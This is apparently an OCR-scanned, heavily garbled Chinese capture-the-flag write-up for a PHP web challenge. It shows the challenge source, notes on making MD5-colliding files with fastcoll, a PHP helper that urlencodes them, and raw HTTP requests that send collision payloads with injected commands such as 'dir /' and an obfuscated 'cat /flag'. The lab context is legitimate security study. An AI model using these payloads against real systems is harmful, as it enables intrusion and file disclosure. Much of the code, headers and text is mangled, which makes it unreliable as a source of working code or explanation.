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<?php
error_reporting(E_ALL E_NOTICE);
)s
$_GET[ 1;
if (lisset($ GET[ D) isset($_GET[ 1))
header(
$file = hex2bin(base64 decode(base64 decode($ GET[ 1));

$file = preg_replace( 5 , $file);
, $file)) {

]

s

base64 encode(file get contents($file));
$txt

if (preg_match(

echo(
echo
} else {
if ((string)$ POST[ ] (string)$_POST[ md5($_POST[ 1)
echo 5
} else {
echo (

$file = hex2bin(base64 decode(base64 decode($ GET]
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if (preg_match(

echo(
echo
} else {
if ((string)$_POST['a'] (string)$_POST['b"] md5($_POST['a'])
echo ;
} else {
echo (

md5($_POST[

md5($_POST[
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, $emd)) {

B emdSH I E BT IENILAS, )5 HWipostH S HaMbii U A F /A EANFRERMISFETEMF, JFHRBRR

ST AR R R BERE—FERIMDS - 5 a5 M A MD5RETE writeup
fif F fastcoll 4= 5 744 8 MD 54 8



https://xz.aliyun.com/t/2232
https://blog.csdn.net/shuaicenglou3032/article/details/118197904

X ERBATRBZX RO FrFBafb, AR, EmdSEMR. X &BImdSHIRLE, X 58 fastcoll ok g A4 piix
il 42
1B — AN SRR

T 1ixt - io=E
XEHF) \IE(E) S(0) ZE(V) EENH)

r1cM

2 XA HE N fasteoll_v1.0.0.5.exefe /7, = BENERMAN XN AR, EmdSEM R S

= 1 msgl.txt
=l 1 _msg2.txt

3485 I FH phip B A AR 45 3 P A A2 B SR A2 purl 25 ) /5 T 48 ) %5 o6 -

<?php
function readmyfile($path){

$th = fopen($path, )

$data = fread($fh, filesize($path));
fclose($th);

return $data;

}
$a urlencode(readmyfile( ));

$b urlencode(readmyfile( ));
if(md5((string)urldecode($a)) md5((string)urldecode($b))){

if(urldecode($a)!=urldecode($b)){
echo $b;
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POST /index.phy?cmd=dir%20/ HYOTPE/1.1

Host: cefbZ3d8 Lbf133885674b. noded4 . buuoj.cn: 81
Cache-Control: max-age=0

Upgrade-Insecure-Regquests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4396.88
Safari/537.36

Accept:

text/html, application/xhtml+zml, application/xml;q=0.9, image/av
if, image/webp, image/apng, */*;q=0.8, application/signed-exchange
;v=b3;q=0.9
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HTTE/1.1 200 CK
Server: openresty

Date: Sun, 17 Apr Z0ZZ 11:46:18 GMT
Content-Type: text/html;charset=utf-8

Content-Length: 361
Connection: close

Refresh: 0O;url=./index.php?img=TXpVekSUTTFNLVUzTURabESqYz0acnd=

Vary: Accept-Encoding
¥-Powered-By: PHP/7.1.33

<img sre="data:image/gif;base&d, ">

7 Accept-Encoding: gzip, deflate </img>

& Accept-Language: zh-CN,zh;g=0.9 b
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POST /index.phf?cmd:c\athﬂﬂfflag HTTE/1.1
Host: cefbI3diideaii=del el G Al
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

User—-Agent: Mozilla/5.0 (Windows NT 10.0:; Win&4: =&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.48096.88
safari/537.36

Accept:

text/html, application/xhtml+xml, application/=xml;q=0.9, image/av
if, image/webp, image/apng, */*;q=0.8, application/signed-exchange
;wv=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Connection: close

Content-Type: application/z-www-form-urlencoded
Content-Length: 1023
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0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F&8n
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O%PEL$AASFOSC5%A4zDSCCOSFCS0CiSYBSACESDSESSC0%1DSAYSESSEDSC3%A
SSE3%06%1ELAS5ESF3%00%FASCO+SCOSDBSFS5%CESDEhSY7DISFL. $1FSDBS26S
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%H3%85%B0%D7&b=
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%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F3n
$A0a%06%24%0E%09%0A%BDSD1X%86%13%1CS03%EES UGS 94%E7SBESBESTD4EV
Os0CSAFWSBE%D7h%B3%F0%F2%COSEDLSSARSCECI%D3%089%CISEBCSASSBA0SEFE
$CBYOET SAASFESCISSA4SFADSCCEBSFCS0Ci$9BSACS5DSESSCO%1DSAUSESSEDS
C3%AS%ES%0G0%lBLA%SEs$08%FASCO+3CO%DB%Fo%C8%D5h%7DISFLl. $1FSDE%Z
G%D4%0EVEB5% 0% COSEFCIS5BSCRSAlSCESFESADSDAS IASECSFISACYIES3ES
ED%33%65%E0%D7
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Server: openresty

Date: Sun, 17 Apr ZO0ZZ 11:54:33 GMT
Content-Type: text/html:charset=utf-8

Content-Length: ZO08
Connection: close
Refresh: O;url=./index.php?img=TXpVekSUTTFNbVUzTURabESqYz0&cmd=

Vary: Accept-Encoding
®-Powered-By: PHB/7.1.33
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14 body |
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16 background-size:cover;
17 background-attachment: fixed;
18 background-color: #CCCCCC;
19 }
20 </style>
21 <body>
22 </ body>
23 </html>
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